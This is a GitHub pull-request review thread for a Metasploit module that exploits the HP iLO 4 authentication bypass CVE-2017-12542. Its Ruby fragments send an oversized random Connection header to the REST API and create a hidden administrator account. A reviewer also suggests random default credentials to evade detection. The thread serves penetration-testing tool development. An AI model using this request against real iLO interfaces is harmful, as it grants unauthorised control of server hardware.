New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add module for HP iLO CVE-2017-12542 authentication bypass #9529
Conversation
unless res | ||
print_error("Unknown error while creating the user #{res.code}.") | ||
return | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Accessing res.code
when res
is nil
is doomed to failure.
Also, a nil
res
is likely due to a failed connection (timeout, no route, host down, etc).
unless res
fail_with(Failure::Unknown, 'Connection failed')
end
|
||
if res.code == 200 | ||
return Exploit::CheckCode::Vulnerable | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Have you tried this on the patched version?
A HTTP 200 OK response for /rest/v1/AccountService/Accounts
would flag the host as vulnerable on any servers for which this path exists and which ignore unusual Connection
headers.
Also, seeing as only the HTTP status code is used to confirm the vulnerability, a CheckCode::Appears
or CheckCode::Detected
would be more accurate than CheckCode::Vulnerable
. The latter is typically reserved for when the vulnerability is confirmed via some form of exploitation, as per How to write a check() method.
elsif res.body =~ /UserAlreadyExist/ | ||
print_error("The user #{datastore["USERNAME"]} already exists.") | ||
return | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Some style suggestions:
if res.include? 'InvalidPasswordLength'
fail_with(Failure::BadConfig, "Password #{datastore["PASSWORD"]} is too short.")
end
if res.include? 'UserAlreadyExist'
fail_with(Failure::BadConfig, "Unable to add login #{datastore["USERNAME"]}, user already exists")
end
fail_with
is preferred over the print_error
and return
pattern, but not mandatory.
res.include?
is preferred over regex for case-insensitive matches, but not mandatory.
print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.") | ||
else | ||
print_error("Unknown error while creating the user #{res.code}.") | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Similarly, suggested style changes:
unless res.code == 201
fail_with(Failure::UnexpectedReply, "Unknown error while creating the user. Response: #{res.code}")
end
print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
Hi Brendan,
Thanks for the comments, we'll get that fixed. Let me add in the
conversation Fabien, the author of the module.
Cheers,
Renaud Feil
Synacktiv
2018-02-11 17:52 GMT+01:00 Brendan Coles <notifications@github.com>:
… ***@***.**** commented on this pull request.
------------------------------
In modules/auxiliary/admin/hp/hp_ilo_create_admin_account.rb
<#9529 (comment)>
:
> + data["Oem"]["Hp"]["Privileges"]["iLOConfigPriv"] = true
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => '/rest/v1/AccountService/Accounts',
+ 'ctype' => 'application/json',
+ 'headers' => {
+ "Connection" => Rex::Text.rand_text_alphanumeric(29)
+ },
+ 'data' => data.to_json()
+ })
+
+ unless res
+ print_error("Unknown error while creating the user #{res.code}.")
+ return
+ end
Accessing res.code when res is nil is doomed to failure.
Also, a nil res is likely due to a failed connection (timeout, no route,
host down, etc).
unless res
fail_with(Failure::Unknown, 'Connection failed')
end
------------------------------
In modules/auxiliary/admin/hp/hp_ilo_create_admin_account.rb
<#9529 (comment)>
:
> + def check
+ begin
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => '/rest/v1/AccountService/Accounts',
+ 'headers' => {
+ "Connection" => Rex::Text.rand_text_alphanumeric(29)
+ }
+ })
+ rescue
+ return Exploit::CheckCode::Safe
+ end
+
+ if res.code == 200
+ return Exploit::CheckCode::Vulnerable
+ end
Have you tried this on the patched version?
A HTTP 200 OK response for /rest/v1/AccountService/Accounts would flag
the host as vulnerable on any servers for which this path exists and which
ignore unusual Connection headers.
Also, seeing as only the HTTP status code is used to confirm the
vulnerability, a CheckCode::Appears or CheckCode::Detected would be more
accurate than CheckCode::Vulnerable. The latter is typically reserved for
when the vulnerability is confirmed via some form of exploitation, as per How
to write a check() method
<https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check()-method>
.
------------------------------
In modules/auxiliary/admin/hp/hp_ilo_create_admin_account.rb
<#9529 (comment)>
:
> + },
+ 'data' => data.to_json()
+ })
+
+ unless res
+ print_error("Unknown error while creating the user #{res.code}.")
+ return
+ end
+
+ if res.body =~ /InvalidPasswordLength/
+ print_error("Password #{datastore["PASSWORD"]} is too short.")
+ return
+ elsif res.body =~ /UserAlreadyExist/
+ print_error("The user #{datastore["USERNAME"]} already exists.")
+ return
+ end
Some style suggestions:
if res.include? 'InvalidPasswordLength'
fail_with(Failure::BadConfig, "Password #{datastore["PASSWORD"]} is too short.")
end
if res.include? 'UserAlreadyExist'
fail_with(Failure::BadConfig, "Unable to add login #{datastore["USERNAME"]}, user already exists")
end
fail_with is preferred over the print_error and return pattern, but not
mandatory.
res.include? is preferred over regex for case-insensitive matches, but
not mandatory.
------------------------------
In modules/auxiliary/admin/hp/hp_ilo_create_admin_account.rb
<#9529 (comment)>
:
> + return
+ end
+
+ if res.body =~ /InvalidPasswordLength/
+ print_error("Password #{datastore["PASSWORD"]} is too short.")
+ return
+ elsif res.body =~ /UserAlreadyExist/
+ print_error("The user #{datastore["USERNAME"]} already exists.")
+ return
+ end
+
+ if res.code == 201
+ print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
+ else
+ print_error("Unknown error while creating the user #{res.code}.")
+ end
Similarly, suggested style changes:
unless res.code == 201
fail_with(Failure::UnexpectedReply, "Unknown error while creating the user. Response: #{res.code}")
end
print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
<#9529 (review)>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/AbhhedLeo1-OM6eYBVvNTD86rLzuM7D4ks5tTxrhgaJpZM4R_t1R>
.
|
Nice work. I gave the module a once over and it looks sane. Needs module documentation, and a review of the For documentation, there's a template and a bunch of examples in the documentation/modules directory. ~ P.S. Hi Renaud |
I've tested the module and it worked like a charm. Thanks @synacktiv 👍 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Neat!
|
||
**PASSWORD** | ||
|
||
The password of the new administrator account. Defaults to msf_password |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This differs from what the module does. The module uses msf_p4ssw0rd
register_options( | ||
[ | ||
Opt::RPORT(443), | ||
OptString.new('USERNAME', [true, 'Username for the new account', 'msf_user']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
IMO it might be better to set both this and the password to a random string by default in setup
. This will help evade detection.
'Description' => %q{ | ||
This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer | ||
overflow in the Connection HTTP header handling by the web server. | ||
Exploiting this vulnerability gives full access to the Rest API, allowing arbitrary |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Minor, but REST.
- Default Username / Password are now random - Doc fixed - REST typo fixed
I added d1722d5 to handle targets that are not actually listening. |
Release NotesThe auxiliary/admin/hp/hp_ilo_create_admin_account module has been added to the framework. It enables you to create a new administrator account on vulnerable HP iLO4 web interfaces through an authentication bypass. |
Add an auxiliary module to insert a new administration account in vulnerable HP iLO4 web interfaces. The module exploits the CVE-2017-12542 for authentication bypass, which is 100% stable when exploited this way.
Verification
msfconsole
use auxiliary/admin/hp/hp_ilo_create_admin_account
RHOST
check
to check if remote host is vulnerable (module tries to list accounts using the REST API)USERNAME
andPASSWORD
to specify a new administrator account credentialsrun
to actually create the account on the iLOExample output